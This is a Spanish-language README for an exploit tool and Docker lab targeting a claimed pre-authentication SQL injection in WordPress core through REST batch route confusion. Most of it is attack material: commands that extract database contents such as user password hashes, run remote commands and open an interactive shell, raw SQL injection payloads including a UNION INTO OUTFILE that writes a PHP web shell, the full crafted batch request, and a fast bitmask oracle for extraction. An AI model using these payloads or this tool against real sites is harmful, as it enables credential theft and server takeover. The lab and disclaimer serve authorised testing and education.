PoC educativo + laboratorio para CVE-2026-63030 + CVE-2026-60137: inyección SQL pre-autenticación en el núcleo de WordPress a través de confusión de ruta por lotes REST
PoC educativo y laboratorio para CVE-2026-63030 + CVE-2026-60137: inyección SQL sin autenticación en el núcleo de WordPress mediante confusión de rutas batch REST.
Descubierto por Adam Kues (Searchlight Cyber / Assetnote). Corregido en WordPress 6.9.5 / 7.0.2.
# bring up the vulnerable lab
cd docker && ./setup.sh
cd ..
# detect
python3 -m exploit check http://localhost:8888
python3 -m exploit check http://localhost:8888 --confirm-sqli
# extract data (fast mode, default)
python3 -m exploit extract http://localhost:8888 --preset fingerprint
python3 -m exploit extract http://localhost:8888 --preset users
# extract data (blind mode, for comparison)
python3 -m exploit extract http://localhost:8888 --mode blind --preset fingerprint
# custom SQL query
python3 -m exploit extract http://localhost:8888 --query "SELECT @@version"
# RCE (requires FILE privilege, the lab grants it)
python3 -m exploit rce http://localhost:8888 --cmd "id"
python3 -m exploit rce http://localhost:8888 --cmd "cat /etc/passwd"
python3 -m exploit rce http://localhost:8888 -i # interactive shell
# proxy through Burp
python3 -m exploit extract http://localhost:8888 --proxy http://127.0.0.1:8080
# tear down
cd docker && ./setup.sh down
POST /wp-json/batch/v1 agrupa múltiples llamadas a la API REST en una sola solicitud HTTP. No tiene verificación de autenticación propia. La seguridad se delega al callback de permisos de cada sub-solicitud.
serve_batch_request_v1() construye dos arrays paralelos:
$matches[] rastrea a qué manejador despachar cada sub-solicitud$validation[] rastrea si cada sub-solicitud pasó la validaciónIndexa ambos por el mismo offset durante el despacho. El error: cuando la ruta de una sub-solicitud falla en wp_parse_url(), se introduce un WP_Error en $validation pero no en $matches. Esto desplaza $matches en uno, por lo que cada sub-solicitud subsiguiente se despacha al manejador incorrecto.
La desincronización se utiliza dos veces.
Batch externo. Una solicitud a /wp/v2/posts que contiene un batch interno como cuerpo se despacha bajo el manejador batch (auto-llamada). Fue validada como una solicitud de posts, por lo que el array requests interno nunca fue verificado contra el esquema del batch. Esto evade la lista blanca de métodos y permite que las sub-solicitudes internas usen GET.
Batch interno. Una solicitud a /wp/v2/categories?author_exclude=<SQLI> se despacha bajo get_items() de posts. El esquema de categories no define author_exclude, por lo que pasa la validación sin cambios. Pero get_items() de posts lo mapea a WP_Query::author__not_in, donde el valor se interpola en crudo en SQL.
El código vulnerable de WP_Query solo sanitizaba author__not_in cuando ya era un array:
// PRE-FIX (vulnerable)
if (is_array($query_vars['author__not_in'])) {
$query_vars['author__not_in'] = array_map('absint', ...); // sanitize
}
$author__not_in = implode(',', (array) $query_vars['author__not_in']);
$where .= " AND post_author NOT IN ($author__not_in) "; // raw interpolation
Un valor de tipo string evita completamente la compuerta is_array(). La conversión (array) lo envuelve sin sanitizar.
Leer la base de datos (cada sitio afectado):
author_exclude = 0) AND (ASCII(SUBSTRING((SELECT user_pass FROM wp_users LIMIT 1),1,1)) > 80)-- -
Oráculo booleano: posts devueltos = verdadero, vacío = falso. Búsqueda binaria por carácter.
Escribir archivos (requiere privilegio FILE de MySQL, no es el predeterminado de WordPress):
author_exclude = 0) AND 1=0 UNION SELECT '<?php system($_GET["c"]); ?>' INTO OUTFILE '/path/shell.php'-- -
La solicitud HTTP real:
{
"requests": [
{"method": "POST", "path": "http://"},
{"method": "POST", "path": "/wp/v2/posts", "body": {
"requests": [
{"method": "POST", "path": "http://"},
{"method": "POST", "path": "/wp/v2/categories?author_exclude=<SQLI>",
"body": {"name": "x", "orderby": false}},
{"method": "GET", "path": "/wp/v2/posts"}
]
}},
{"method": "POST", "path": "/batch/v1"}
]
}
Cómo se desalinean los arrays:
serve_batch_request_v1() procesa sub-solicitudes en dos bucles. El primer
bucle valida cada sub-solicitud y construye $matches[] y $validation[].
El segundo bucle despacha cada sub-solicitud usando $matches[$i] como el
manejador. Debido a que el error del primer elemento falta en $matches, el
segundo bucle empareja cada solicitud con el manejador incorrecto.
POST /?rest_route=/batch/v1 (anonymous, no auth)
|
v
THE REQUEST YOU SEND
+--------------------------------------------------------------+
| |
| Loop 1 (validate): |
| [0] "http://" -> wp_parse_url fails |
| [1] POST /wp/v2/posts -> match: posts_handler |
| [2] POST /batch/v1 -> match: batch_handler |
| |
| $validation: [ error, OK(posts), OK(batch) ] |
| $matches: [ posts_handler, batch_handler ] |
| ^ |
| error skipped in $matches |
| |
| Loop 2 (dispatch): |
| i=0: error -> skip |
| i=1: POST /posts uses $matches[1] = batch_handler |
| -> posts body executed as a nested batch |
| i=2: POST /batch uses $matches[2] = out of bounds |
| |
+--------------------------------------------------------------+
|
v
NESTED BATCH (serve_batch_request_v1 calls itself on the body above)
+--------------------------------------------------------------+
| |
| Loop 1 (validate): |
| [0] "http://" -> wp_parse_url fails |
| [1] POST /categories -> match: categories_handler |
| [2] GET /wp/v2/posts -> match: posts_handler |
| |
| $validation: [ error, OK(cats), OK(posts) ] |
| $matches: [ categories_handler, posts_handler ] |
| |
| Loop 2 (dispatch): |
| i=0: error -> skip |
| i=1: POST /categories uses $matches[1] = posts_handler |
| -> categories request handled by posts get_items() |
| -> author_exclude not in cats schema, unsanitized |
| -> posts maps it to WP_Query::author__not_in |
| -> SQL INJECTION |
| |
+--------------------------------------------------------------+
Los PoCs existentes utilizan extracción booleana ciega: 1 bit por solicitud HTTP, aproximadamente 224 solicitudes para un hash de contraseña. Este repositorio combina dos técnicas para una extracción ~75 veces más rápida.
Oráculo X-WP-Total. WordPress añade SQL_CALC_FOUND_ROWS a las consultas de posts y coloca el conteo en el encabezado de respuesta X-WP-Total. Las filas de UNION se cuentan a nivel SQL aunque PHP las filtre del cuerpo de la respuesta. Los UNION condicionales codifican bits individuales:
0) AND 1=0
UNION SELECT 1 WHERE (ASCII(SUBSTRING((...),1,1)) & 1) > 0 -- bit 0
UNION SELECT 1 WHERE (ASCII(SUBSTRING((...),1,1)) & 2) > 0 -- bit 1
... -- bits 2-6
-- -
X-WP-Total = 0 significa bit no establecido, 1 significa bit establecido. Siete pruebas = un carácter ASCII completo.
Batch interno ilimitado. El batch externo valida maxItems: 25 mediante su esquema. La confusión de rutas evita esto: el batch interno se ejecuta recursivamente sin verificación de tamaño. Las 7 pruebas de bits para múltiples caracteres se empaquetan en una sola solicitud.
16 caracteres x 7 bits = 112 pruebas por solicitud. Un hash phpass de 34 caracteres en ~3 solicitudes en lugar de ~224.
$ python3 -m exploit extract http://target --mode blind --preset fingerprint
[*] using blind boolean oracle (binary search, 1 bit per request)
[+] MySQL version: 8.0.46
[+] Database user: wordpress@%
[+] Database name: wordpress
[*] 198 requests sent
$ python3 -m exploit extract http://target --preset fingerprint
[*] using X-WP-Total bitmask oracle (16 chars/request)
[+] MySQL version: 8.0.46
[+] Database user: wordpress@%
[+] Database name: wordpress
[*] 3 requests sent
Solo para pruebas de seguridad autorizadas y educación. Úselo exclusivamente contra sistemas de su propiedad o para los que tenga permiso explícito por escrito para realizar pruebas.